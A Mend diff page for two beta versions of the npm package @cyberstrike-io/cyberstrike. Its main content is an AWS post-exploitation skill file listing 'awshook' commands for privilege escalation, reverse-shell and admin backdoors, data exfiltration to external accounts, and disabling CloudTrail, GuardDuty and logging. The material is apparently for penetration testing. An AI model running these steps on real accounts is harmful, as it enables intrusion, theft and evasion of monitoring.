npm - @cyberstrike-io/cyberstrike - Versions diffs - 1.1.16-beta.6 → 1.1.16-beta.7 - Mend

@cyberstrike-io/cyberstrike 1.1.16-beta.6 → 1.1.16-beta.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Files changed (10) hide show

package/package.json +14 -13
package/preuninstall.mjs +38 -0
package/skill/aws-postexploit/SKILL.md +215 -84
package/skill/azure-postexploit/SKILL.md +162 -36
package/web/assets/{ghostty-web-BljlRKGw.js → ghostty-web-Bz-51D_V.js} +1 -1
package/web/assets/{home-DselBJMO.js → home-BlWhTEfQ.js} +1 -1
package/web/assets/{index-CJ0Cgzs8.js → index-BYRKQold.js} +1 -1
package/web/assets/session-kfyLO2d_.js +56 -0
package/web/index.html +1 -1
package/web/assets/session-D2a1VaLl.js +0 -56

package/package.json CHANGED Viewed

@@ -5,9 +5,10 @@
     "cyberstrike": "./bin/cyberstrike"
   },
   "scripts": {
-    "postinstall": "bun ./postinstall.mjs || node ./postinstall.mjs"
+    "postinstall": "bun ./postinstall.mjs || node ./postinstall.mjs",
+    "preuninstall": "bun ./preuninstall.mjs || node ./preuninstall.mjs || true"
   },
-  "version": "1.1.16-beta.6",
+  "version": "1.1.16-beta.7",
   "license": "AGPL-3.0-only",
   "keywords": [
     "cyberstrike",
@@ -40,16 +41,16 @@
     "playwright": "1.58.2"
   },
   "optionalDependencies": {
-    "@cyberstrike-io/cyberstrike-darwin-arm64": "1.1.16-beta.6",
-    "@cyberstrike-io/cyberstrike-linux-x64-baseline-musl": "1.1.16-beta.6",
-    "@cyberstrike-io/cyberstrike-linux-arm64-musl": "1.1.16-beta.6",
-    "@cyberstrike-io/cyberstrike-linux-x64": "1.1.16-beta.6",
-    "@cyberstrike-io/cyberstrike-darwin-x64-baseline": "1.1.16-beta.6",
-    "@cyberstrike-io/cyberstrike-darwin-x64": "1.1.16-beta.6",
-    "@cyberstrike-io/cyberstrike-windows-x64": "1.1.16-beta.6",
-    "@cyberstrike-io/cyberstrike-linux-x64-baseline": "1.1.16-beta.6",
-    "@cyberstrike-io/cyberstrike-linux-x64-musl": "1.1.16-beta.6",
-    "@cyberstrike-io/cyberstrike-windows-x64-baseline": "1.1.16-beta.6",
-    "@cyberstrike-io/cyberstrike-linux-arm64": "1.1.16-beta.6"
+    "@cyberstrike-io/cyberstrike-darwin-x64": "1.1.16-beta.7",
+    "@cyberstrike-io/cyberstrike-windows-x64-baseline": "1.1.16-beta.7",
+    "@cyberstrike-io/cyberstrike-linux-arm64-musl": "1.1.16-beta.7",
+    "@cyberstrike-io/cyberstrike-linux-x64": "1.1.16-beta.7",
+    "@cyberstrike-io/cyberstrike-windows-x64": "1.1.16-beta.7",
+    "@cyberstrike-io/cyberstrike-darwin-x64-baseline": "1.1.16-beta.7",
+    "@cyberstrike-io/cyberstrike-linux-x64-baseline": "1.1.16-beta.7",
+    "@cyberstrike-io/cyberstrike-linux-x64-musl": "1.1.16-beta.7",
+    "@cyberstrike-io/cyberstrike-darwin-arm64": "1.1.16-beta.7",
+    "@cyberstrike-io/cyberstrike-linux-x64-baseline-musl": "1.1.16-beta.7",
+    "@cyberstrike-io/cyberstrike-linux-arm64": "1.1.16-beta.7"
   }
 }

package/preuninstall.mjs ADDED Viewed

@@ -0,0 +1,38 @@
+#!/usr/bin/env node
+import path from "path"
+import fs from "fs"
+import os from "os"
+function xdgDataDir() {
+  return process.env.XDG_DATA_HOME || path.join(os.homedir(), ".local", "share")
+}
+function xdgCacheDir() {
+  return process.env.XDG_CACHE_HOME || path.join(os.homedir(), ".cache")
+}
+function xdgConfigDir() {
+  return process.env.XDG_CONFIG_HOME || path.join(os.homedir(), ".config")
+}
+function xdgStateDir() {
+  return process.env.XDG_STATE_HOME || path.join(os.homedir(), ".local", "state")
+}
+const dirs = [
+  { path: path.join(xdgDataDir(), "cyberstrike"), label: "Data (sessions, database, skills)" },
+  { path: path.join(xdgCacheDir(), "cyberstrike"), label: "Cache (models, assets)" },
+  { path: path.join(xdgConfigDir(), "cyberstrike"), label: "Config (settings, providers)" },
+  { path: path.join(xdgStateDir(), "cyberstrike"), label: "State" },
+]
+const existing = dirs.filter((d) => fs.existsSync(d.path))
+if (existing.length > 0) {
+  console.log("")
+  console.log("  CyberStrike data directories are preserved after package removal.")
+  console.log("  To remove them, run:")
+  console.log("")
+  console.log("    rm -rf " + existing.map((d) => d.path).join(" \\\n           "))
+  console.log("")
+  console.log("  Or reinstall and run: cyberstrike uninstall")
+  console.log("")
+}

package/skill/aws-postexploit/SKILL.md CHANGED Viewed

@@ -1,128 +1,259 @@
 ---
 name: aws-postexploit
-description: AWS post-exploitation for IAM privilege escalation, data exfiltration, persistence, and operational security via boto3
+description: AWS post-exploitation — 92 programs for full kill chain from recon to cleanup via AWS CLI
 category: post-exploitation
-tags: [aws, cloud, post-exploitation, iam, s3, lambda, ssm, cloudtrail, credential-access, defense-evasion, persistence]
+tags: [aws, cloud, post-exploitation, iam, s3, lambda, ssm, cloudtrail, credential-access, defense-evasion, persistence, lateral-movement, exfiltration, privesc]
 tech_stack: [aws, aws-cli]
-cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-284]
-chains_with: [T1078.004, T1530, T1537, T1562.008, T1098, T1059.009, T1552.005]
+cwe_ids: [CWE-269, CWE-522, CWE-693, CWE-284, CWE-312, CWE-311, CWE-287, CWE-732, CWE-200, CWE-78, CWE-547]
+chains_with: [T1078.004, T1530, T1537, T1562.008, T1098, T1059.009, T1552.005, T1087.004, T1580, T1021.007, T1525, T1609, T1555.006, T1070]
 prerequisites: [T1078.004, T1552.005]
-version: "1.0"
+version: "2.2"
 ---
 # AWS Post-Exploitation Methodology
-AWS post-exploitation uses the AWS CLI and direct metadata endpoint access to perform privilege escalation, data exfiltration, and persistence after compromising IAM credentials or gaining EC2 instance access. These tools target IAM misconfigurations, S3 data stores, Secrets Manager, Lambda functions, RDS databases, ECS containers, SSO, and Organizations for lateral movement.
+92 programs across 7 categories for full AWS kill chain after compromising IAM credentials or EC2 instance. All tools use `aws` CLI natively — no Python/boto3 dependency.
 ## Prerequisites
-Before deploying awshook tools, verify:
 1. **Valid AWS credentials** — access key + secret key, session token, or instance profile
-2. **AWS CLI installed** — all tools use `aws` CLI natively, no Python/boto3 needed
-3. **Current identity** — `aws sts get-caller-identity` to confirm access
-4. **Region** — set via `--region`, `AWS_DEFAULT_REGION`, or profile config
-```bash
-# Quick prerequisite check
-aws sts get-caller-identity                    # verify credentials work
-aws iam get-user 2>/dev/null || echo "No IAM user (likely role/instance profile)"
-aws --version                                  # verify AWS CLI
-```
+2. **AWS CLI installed** — `aws --version`
+3. **Current identity** — `aws sts get-caller-identity`
 ## Kill Chain Phases
-### Phase 1 — Situational Awareness (First 60 seconds)
-Understand the AWS environment and current permissions.
+### Phase 1 — Reconnaissance (23 programs)
 | Action | Command | Purpose |
 |--------|---------|---------|
-| IAM enumeration | `awshook iam_enum` | Map all users, roles, policies; identify privilege escalation paths |
-| Metadata harvest | `awshook metadata_harvest` | Extract IAM role credentials from EC2/ECS/Lambda metadata |
-| CloudTrail status | `awshook cloudtrail_blind --action status` | Check logging configuration before any noisy operations |
+| IAM enumeration | `awshook iam_enum` | Users, roles, policies, privesc paths, wildcard analysis |
+| EC2 enumeration | `awshook ec2_enum` | Instances, AMIs, security groups, key pairs, user-data secrets |
+| S3 enumeration | `awshook s3_enum` | Buckets, policies, ACLs, encryption, public access |
+| Lambda enumeration | `awshook lambda_enum` | Functions, layers, event sources, env var secrets |
+| VPC enumeration | `awshook vpc_enum` | VPCs, subnets, routes, NATs, endpoints, peering |
+| RDS enumeration | `awshook rds_enum` | Instances, clusters, snapshots, public access, encryption |
+| ECS enumeration | `awshook ecs_enum` | Clusters, services, tasks, exec enabled, container env secrets |
+| EKS enumeration | `awshook eks_enum` | Clusters, node groups, Fargate, OIDC, public endpoint |
+| SSO enumeration | `awshook sso_enum` | SSO instances, permission sets, identity store |
+| Org enumeration | `awshook org_enum` | Accounts, OUs, SCPs, delegated admins |
+| Route53 enumeration | `awshook route53_enum` | Zones, records, health checks, subdomain takeover |
+| Service recon | `awshook service_recon` | Account-wide service usage summary |
+| CFN enumeration | `awshook cfn_enum` | Stacks, templates, secrets, parameters, outputs, IAM resources |
+| API Gateway enum | `awshook apigw_enum` | REST/HTTP/WebSocket APIs, stages, API keys, authorizers |
+| SNS/SQS enum | `awshook sns_sqs_enum` | Topics, subscriptions, queues, policies, encryption |
+| CloudWatch enum | `awshook cloudwatch_enum` | Log groups, alarms, dashboards, custom metrics |
+| ElastiCache enum | `awshook elasticache_enum` | Redis/Memcached auth, encryption, replication, snapshots |
+| Redshift enum | `awshook redshift_enum` | Clusters, public access, encryption, audit logging, snapshots |
+| Multi-region scan | `awshook multi_region_scan` | Shadow deployments across all enabled regions |
+| KMS enum | `awshook kms_enum` | Customer-managed keys, policies (Principal:*), grants |
+| OpenSearch enum | `awshook opensearch_enum` | Domains, public access, encryption, resource policies |
+| EFS enum | `awshook efs_enum` | File systems, mount targets, SG analysis, encryption |
+| ELB enum | `awshook elb_enum` | ALB/NLB/Classic, internet-facing, SSL policy, HTTP redirect |
-### Phase 2 — Privilege Escalation
-Exploit IAM misconfigurations to gain higher privileges.
+### Phase 2 — Credential Harvesting (11 programs)
 | Action | Command | Purpose |
 |--------|---------|---------|
-| PassRole escalation | `awshook iam_privesc --method passrole` | Create Lambda with admin role via iam:PassRole |
-| AssumeRole chain | `awshook iam_privesc --method assumerole --role-arn ARN` | Assume role with broader permissions |
-| Policy attachment | `awshook iam_privesc --method attach_policy` | Attach AdministratorAccess to current user |
-| Access key creation | `awshook iam_privesc --method create_key --target-user USER` | Create new access key for persistence |
-### Phase 3 — Data Exfiltration
+| Metadata harvest | `awshook metadata_harvest` | EC2/ECS/Lambda metadata endpoint credentials (IMDSv1/v2) |
+| Secrets dump | `awshook secrets_dump` | Secrets Manager + SSM Parameter Store extraction |
+| Access key enum | `awshook access_key_enum` | All active keys with age, last-used, stale detection |
+| Role credential | `awshook role_credential --role-arn ARN` | STS AssumeRole for temporary credentials |
+| Federation token | `awshook federation_token` | Console access from programmatic credentials |
+| ECR token | `awshook ecr_token` | ECR registry auth for container image access |
+| Console login | `awshook console_login --user-name NAME` | Create/update IAM console login profile |
+| Cognito token | `awshook cognito_token` | Cognito pool enum, client secrets, identity pool credentials |
+| CFN secret extract | `awshook cfn_secret_extract` | Extract secrets from CFN parameters, templates, outputs |
+| CodeCommit cred | `awshook codecommit_cred` | HTTPS Git/SSH credentials across IAM users |
+| CI/CD secrets | `awshook ci_cd_secret_extract` | CodePipeline artifacts, CodeBuild env vars, CodeStar connections |
-Extract sensitive data from AWS services.
+### Phase 3 — Privilege Escalation (10 programs)
 | Action | Command | Purpose |
 |--------|---------|---------|
-| S3 dump | `awshook s3_dump` | Find and download sensitive files from all buckets |
-| Secrets extraction | `awshook secrets_dump` | Extract Secrets Manager and SSM Parameter Store values |
-| EBS snapshot | `awshook ec2_snapshot --volume-id VOL_ID` | Snapshot volumes for offline data access |
-| RDS dump | `awshook rds_dump --db-identifier DB_ID` | Create RDS snapshot and optionally share cross-account |
-### Phase 4 — Persistence
+| IAM privesc | `awshook iam_privesc --method passrole` | PassRole/AssumeRole/AttachPolicy/CreateKey chains |
+| Policy rollback | `awshook policy_version_rollback --policy-arn ARN --rollback` | Restore previous permissive policy version |
+| Role chain | `awshook role_chain ARN1 ARN2 ARN3` | Multi-hop A→B→C cross-account/service escalation |
+| Lambda privesc | `awshook lambda_privesc --role-arn ARN` | Lambda with high-priv role for code execution |
+| Glue privesc | `awshook glue_privesc --role-arn ARN` | Glue job/dev endpoint with high-priv role |
+| CFN privesc | `awshook cloudformation_privesc --role-arn ARN` | Stack with IAM resource creation |
+| SSM privesc | `awshook ssm_privesc --instance-id ID` | RunCommand on high-priv instance profiles |
+| EC2 privesc | `awshook ec2_privesc` | Launch EC2 with high-priv instance profile |
+| Boundary bypass | `awshook permission_boundary_bypass` | Analyze and bypass permission boundaries |
+| SageMaker privesc | `awshook sagemaker_privesc --role-arn ARN` | Notebook/training job with high-priv role |
-Establish persistent access to the AWS environment.
+### Phase 4 — Persistence (11 programs)
 | Action | Command | Purpose |
 |--------|---------|---------|
-| Lambda backdoor | `awshook lambda_backdoor --function-name NAME --callback-url URL` | Inject reverse shell into Lambda |
-| SSM execution | `awshook ssm_exec --instance-id ID --command CMD` | Execute commands on EC2 via SSM |
-| ECS exec | `awshook ecs_exec --cluster CLUSTER --task TASK --command CMD` | Execute commands in ECS containers |
-| SSO enumeration | `awshook sso_enum` | Enumerate SSO permission sets, users, groups |
-| Org enumeration | `awshook org_enum` | Map Organizations accounts, OUs, SCPs |
+| Lambda backdoor | `awshook lambda_backdoor --function-name NAME --callback-url URL` | Inject reverse shell layer |
+| IAM backdoor | `awshook iam_backdoor` | Shadow admin with AdministratorAccess + keys + console |
+| EventBridge | `awshook eventbridge_backdoor --target-arn ARN` | Scheduled Lambda/SSM execution |
+| SSM document | `awshook ssm_document_backdoor --command CMD` | Custom command document for persistent exec |
+| CodeBuild | `awshook codebuild_backdoor --role-arn ARN` | Project with credential exfil buildspec |
+| AMI backdoor | `awshook ami_backdoor --instance-id ID` | AMI from compromised instance |
+| Cross-account role | `awshook cross_account_role --external-account ACCT` | Trust role for external persistence |
+| Cognito backdoor | `awshook cognito_backdoor --user-pool-id ID` | Admin user in Cognito pool |
+| EC2 Instance Connect | `awshook ec2_instance_connect --instance-id ID` | SSH key push (60s window) |
+| SSM State Manager | `awshook ssm_state_manager --command CMD --instance-id ID` | Scheduled association (stealth) |
+| ECS scheduled task | `awshook ecs_scheduled_task --cluster C --task-definition DEF` | Serverless Fargate persistence |
-### Phase 5 — Operational Security
-Reduce detection footprint.
+### Phase 5 — Lateral Movement (8 programs)
 | Action | Command | Purpose |
 |--------|---------|---------|
-| Stop CloudTrail | `awshook cloudtrail_blind --action stop` | Stop CloudTrail logging |
-| Delete logs | `awshook cloudtrail_blind --action delete_logs` | Remove existing CloudTrail logs from S3 |
+| SSM exec | `awshook ssm_exec --instance-id ID --command CMD` | EC2 command execution via SSM |
+| ECS exec | `awshook ecs_exec --cluster C --task T --command CMD` | Container command execution |
+| Cross-account enum | `awshook cross_account_enum --try-assume` | Trust relationships + assume attempts |
+| VPC peering | `awshook vpc_peering_enum` | Peering connections for network pivoting |
+| Transit gateway | `awshook transit_gateway_enum` | TGW attachments + cross-account routing |
+| Lightsail exec | `awshook lightsail_exec --instance-name NAME --command CMD` | Lightsail instance access |
+| Lambda exec | `awshook code_exec_lambda --function-name NAME` | Direct Lambda invocation |
+| SSM Session | `awshook ssm_session --instance-id ID` | Interactive shell + port forwarding |
+### Phase 6 — Defense Evasion (13 programs)
-### Phase 6 — Cleanup (MANDATORY)
+| Action | Command | Purpose |
+|--------|---------|---------|
+| CloudTrail blind | `awshook cloudtrail_blind --action stop` | Stop/modify/delete CloudTrail logging |
+| GuardDuty evade | `awshook guardduty_evade --action suspend` | Suspend detectors, archive findings, auto-suppress |
+| Config disable | `awshook config_disable --action stop` | Stop AWS Config recorder |
+| Flow log disable | `awshook vpc_flow_disable --action delete` | Delete VPC Flow Log subscriptions |
+| Access Analyzer | `awshook access_analyzer_suppress --action archive` | Archive findings, delete analyzers |
+| Security Hub | `awshook security_hub_suppress --action suppress` | Suppress findings or disable entirely |
+| WAF bypass | `awshook waf_bypass` | Enumerate WAF rules, ACLs, IP sets |
+| DNS Firewall | `awshook dns_firewall_disable --action disassociate` | Remove DNS Firewall from VPCs |
+| CloudWatch tamper | `awshook cloudwatch_tamper --action delete` | Delete/reduce retention of log groups |
+| Macie disable | `awshook macie_disable --action suspend` | Suspend/disable sensitive data discovery |
+| Inspector disable | `awshook inspector_disable --action disable` | Disable vulnerability scanning |
+| S3 logging disable | `awshook s3_logging_disable --action disable_access_log` | Disable S3 access logging + object-level CloudTrail |
+| CloudTrail selector | `awshook cloudtrail_selector_tamper --action exclude_kms` | Surgical event selector modification (stealthier than stopping) |
-```
-awshook cleanup_aws
-```
+### Phase 7 — Exfiltration & Cleanup (16 programs)
-The cleanup tool:
-1. Restores CloudTrail logging (start_logging on stopped trails)
-2. Deletes Lambda functions and layers created by lambda_backdoor
-3. Removes IAM roles, policies, and access keys created by iam_privesc
-4. Deletes EBS snapshots created by ec2_snapshot
-5. Cleans the state file (~/.cyberstrike/awshook-state.json)
+| Action | Command | Purpose |
+|--------|---------|---------|
+| S3 dump | `awshook s3_dump --bucket B --download` | Sensitive file discovery and download |
+| EBS snapshot | `awshook ec2_snapshot --volume-id VOL --share-account ACCT` | Snapshot with cross-account sharing |
+| RDS dump | `awshook rds_dump --db-identifier ID --share-account ACCT` | RDS snapshot, share, restore |
+| DynamoDB dump | `awshook dynamodb_dump --table-name T` | Table scan with secret detection |
+| EBS direct read | `awshook ebs_direct_read --snapshot-id SNAP` | Block-level read without EC2 |
+| S3 exfil | `awshook s3_exfil --bucket B --external-account A` | Modify bucket policy for external access |
+| Data stage | `awshook data_stage --source PATH --dest-bucket B` | Compress and stage to attacker S3 |
+| **Cleanup** | `awshook cleanup_aws` | **ALWAYS run — removes all CyberStrike resources** |
+| CodeCommit dump | `awshook codecommit_dump --repo NAME` | Repo clone with secret file extraction |
+| ECR dump | `awshook ecr_dump --repository NAME` | Container images, vulns, auth tokens |
+| Athena query | `awshook athena_query --query-string SQL` | SQL query against S3 data lakes |
+| Secrets bulk export | `awshook secrets_bulk_export` | Bulk extract all secrets with S3 staging |
+| Backup vault enum | `awshook backup_vault_enum` | AWS Backup vaults, recovery points, cross-account sharing |
+| CloudWatch logs dump | `awshook cloudwatch_logs_dump --log-group NAME` | Export CloudWatch logs to S3 for offline analysis |
+| SNS/SQS siphon | `awshook sns_sqs_siphon --topic-arn ARN` | Intercept SNS subscriptions and SQS messages |
+| Kinesis tap | `awshook kinesis_tap --stream-name NAME` | Tap Kinesis data streams for real-time interception |
 ## Detection Considerations
-AWS post-exploitation tools are detectable by:
-- **CloudTrail** — All API calls logged (unless blinded). Key events: CreateAccessKey, AttachUserPolicy, CreateFunction, StopLogging
-- **GuardDuty** — Anomalous IAM behavior, unusual API calls, credential exfiltration patterns
-- **AWS Config** — Configuration change detection for IAM, Lambda, CloudTrail
-- **IAM Access Analyzer** — External access to resources, unused permissions
-- **Security Hub** — Aggregated findings from GuardDuty, Config, Access Analyzer
-- **S3 Access Logging** — Object-level access logging for data exfiltration detection
+| Service | What it catches |
+|---------|-----------------|
+| CloudTrail | All API calls (unless blinded): CreateAccessKey, AttachUserPolicy, CreateFunction, StopLogging, AssumeRole |
+| GuardDuty | Anomalous IAM behavior, credential exfiltration, unusual API patterns, policy changes |
+| AWS Config | Configuration changes for IAM, Lambda, CloudTrail, VPC, Security Groups |
+| Access Analyzer | External access to S3, IAM, Lambda, SQS, SNS, KMS |
+| Security Hub | Aggregated findings from all security services |
+| VPC Flow Logs | Network traffic patterns for lateral movement detection |
+| DNS Firewall | DNS-based exfiltration attempts |
 ## Program Reference
-| Program | Technique | MITRE ATT&CK |
-|---------|-----------|---------------|
-| iam_enum | IAM user/role/policy enumeration and privesc analysis | T1087.004 — Cloud Account |
-| iam_privesc | IAM privilege escalation via PassRole/AssumeRole/Policy | T1098 — Account Manipulation |
-| s3_dump | S3 bucket data exfiltration | T1530 — Data from Cloud Storage |
-| lambda_backdoor | Lambda function backdoor for persistence | T1525 — Implant Internal Image |
-| ssm_exec | Remote command execution via SSM | T1021.007 — Cloud Services |
-| metadata_harvest | EC2/ECS/Lambda metadata credential extraction | T1552.005 — Cloud Instance Metadata API |
-| cloudtrail_blind | CloudTrail log evasion | T1562.008 — Disable Cloud Logs |
-| secrets_dump | Secrets Manager/Parameter Store extraction | T1555.006 — Cloud Secrets Management Stores |
-| ec2_snapshot | EBS volume snapshot for data access | T1537 — Transfer Data to Cloud Account |
-| rds_dump | RDS snapshot and cross-account sharing | T1530 — Data from Cloud Storage |
-| ecs_exec | ECS Exec command execution in containers | T1609 — Container Administration Command |
-| sso_enum | AWS SSO/Identity Center enumeration | T1087.004 — Cloud Account |
-| org_enum | AWS Organizations cross-account recon | T1580 — Cloud Infrastructure Discovery |
-| cleanup_aws | Resource removal and trail restoration | T1070 — Indicator Removal |
+| Program | MITRE ATT&CK | CWE |
+|---------|--------------|-----|
+| iam_enum | T1087.004 Cloud Account | CWE-269 |
+| ec2_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
+| s3_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
+| lambda_enum | T1580 Cloud Infrastructure Discovery | CWE-312 |
+| vpc_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
+| rds_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
+| ecs_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
+| eks_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
+| sso_enum | T1087.004 Cloud Account | CWE-269 |
+| org_enum | T1580 Cloud Infrastructure Discovery | CWE-200 |
+| route53_enum | T1596 Search Open Technical Databases | CWE-284 |
+| service_recon | T1580 Cloud Infrastructure Discovery | CWE-200 |
+| cfn_enum | T1580 Cloud Infrastructure Discovery | CWE-312 |
+| apigw_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
+| sns_sqs_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
+| cloudwatch_enum | T1580 Cloud Infrastructure Discovery | CWE-200 |
+| elasticache_enum | T1580 Cloud Infrastructure Discovery | CWE-287 |
+| redshift_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
+| multi_region_scan | T1580 Cloud Infrastructure Discovery | CWE-200 |
+| kms_enum | T1580 Cloud Infrastructure Discovery | CWE-732 |
+| opensearch_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
+| efs_enum | T1580 Cloud Infrastructure Discovery | CWE-311 |
+| elb_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
+| metadata_harvest | T1552.005 Cloud Instance Metadata API | CWE-522 |
+| secrets_dump | T1555.006 Cloud Secrets Management Stores | CWE-522 |
+| access_key_enum | T1087.004 Cloud Account | CWE-522 |
+| role_credential | T1078.004 Cloud Accounts | CWE-522 |
+| federation_token | T1078.004 Cloud Accounts | CWE-522 |
+| ecr_token | T1552.001 Credentials In Files | CWE-522 |
+| console_login | T1098 Account Manipulation | CWE-522 |
+| cognito_token | T1078.004 Cloud Accounts | CWE-287 |
+| cfn_secret_extract | T1552.001 Credentials In Files | CWE-312 |
+| codecommit_cred | T1552.001 Credentials In Files | CWE-522 |
+| ci_cd_secret_extract | T1552.001 Credentials In Files | CWE-312 |
+| iam_privesc | T1098 Account Manipulation | CWE-269 |
+| policy_version_rollback | T1098 Account Manipulation | CWE-269 |
+| role_chain | T1078.004 Cloud Accounts | CWE-269 |
+| lambda_privesc | T1098 Account Manipulation | CWE-269 |
+| glue_privesc | T1098 Account Manipulation | CWE-269 |
+| cloudformation_privesc | T1098 Account Manipulation | CWE-269 |
+| ssm_privesc | T1098 Account Manipulation | CWE-269 |
+| ec2_privesc | T1098 Account Manipulation | CWE-269 |
+| permission_boundary_bypass | T1098 Account Manipulation | CWE-732 |
+| sagemaker_privesc | T1098 Account Manipulation | CWE-269 |
+| lambda_backdoor | T1525 Implant Internal Image | CWE-547 |
+| iam_backdoor | T1098.001 Additional Cloud Credentials | CWE-547 |
+| eventbridge_backdoor | T1053.007 Container Orchestration Job | CWE-547 |
+| ssm_document_backdoor | T1059.009 Cloud API | CWE-547 |
+| codebuild_backdoor | T1053.007 Container Orchestration Job | CWE-547 |
+| ami_backdoor | T1525 Implant Internal Image | CWE-547 |
+| cross_account_role | T1098.001 Additional Cloud Credentials | CWE-284 |
+| cognito_backdoor | T1098.001 Additional Cloud Credentials | CWE-547 |
+| ec2_instance_connect | T1098.004 SSH Authorized Keys | CWE-284 |
+| ssm_state_manager | T1053.005 Scheduled Task | CWE-547 |
+| ecs_scheduled_task | T1053.007 Container Orchestration Job | CWE-547 |
+| ssm_exec | T1021.007 Cloud Services | CWE-78 |
+| ecs_exec | T1609 Container Administration Command | CWE-78 |
+| cross_account_enum | T1087.004 Cloud Account | CWE-284 |
+| vpc_peering_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
+| transit_gateway_enum | T1580 Cloud Infrastructure Discovery | CWE-284 |
+| lightsail_exec | T1021.007 Cloud Services | CWE-522 |
+| code_exec_lambda | T1059.009 Cloud API | CWE-78 |
+| ssm_session | T1021.007 Cloud Services | CWE-284 |
+| cloudtrail_blind | T1562.008 Disable Cloud Logs | CWE-693 |
+| guardduty_evade | T1562.008 Disable Cloud Logs | CWE-693 |
+| config_disable | T1562.008 Disable Cloud Logs | CWE-693 |
+| vpc_flow_disable | T1562.008 Disable Cloud Logs | CWE-693 |
+| access_analyzer_suppress | T1562.008 Disable Cloud Logs | CWE-693 |
+| security_hub_suppress | T1562.008 Disable Cloud Logs | CWE-693 |
+| waf_bypass | T1562.001 Disable or Modify Tools | CWE-693 |
+| dns_firewall_disable | T1562.001 Disable or Modify Tools | CWE-693 |
+| cloudwatch_tamper | T1070.002 Clear Linux or Mac System Logs | CWE-693 |
+| macie_disable | T1562.008 Disable Cloud Logs | CWE-693 |
+| inspector_disable | T1562.008 Disable Cloud Logs | CWE-693 |
+| s3_logging_disable | T1562.008 Disable Cloud Logs | CWE-693 |
+| cloudtrail_selector_tamper | T1562.008 Disable Cloud Logs | CWE-693 |
+| s3_dump | T1530 Data from Cloud Storage | CWE-200 |
+| ec2_snapshot | T1537 Transfer Data to Cloud Account | CWE-200 |
+| rds_dump | T1530 Data from Cloud Storage | CWE-200 |
+| dynamodb_dump | T1530 Data from Cloud Storage | CWE-200 |
+| ebs_direct_read | T1530 Data from Cloud Storage | CWE-200 |
+| s3_exfil | T1537 Transfer Data to Cloud Account | CWE-284 |
+| data_stage | T1074.002 Remote Data Staging | CWE-200 |
+| codecommit_dump | T1213.003 Code Repositories | CWE-200 |
+| ecr_dump | T1530 Data from Cloud Storage | CWE-200 |
+| athena_query | T1530 Data from Cloud Storage | CWE-200 |
+| secrets_bulk_export | T1555.006 Cloud Secrets Management Stores | CWE-200 |
+| backup_vault_enum | T1530 Data from Cloud Storage | CWE-284 |
+| cloudwatch_logs_dump | T1530 Data from Cloud Storage | CWE-200 |
+| sns_sqs_siphon | T1530 Data from Cloud Storage | CWE-200 |
+| kinesis_tap | T1530 Data from Cloud Storage | CWE-200 |
+| cleanup_aws | T1070 Indicator Removal | — |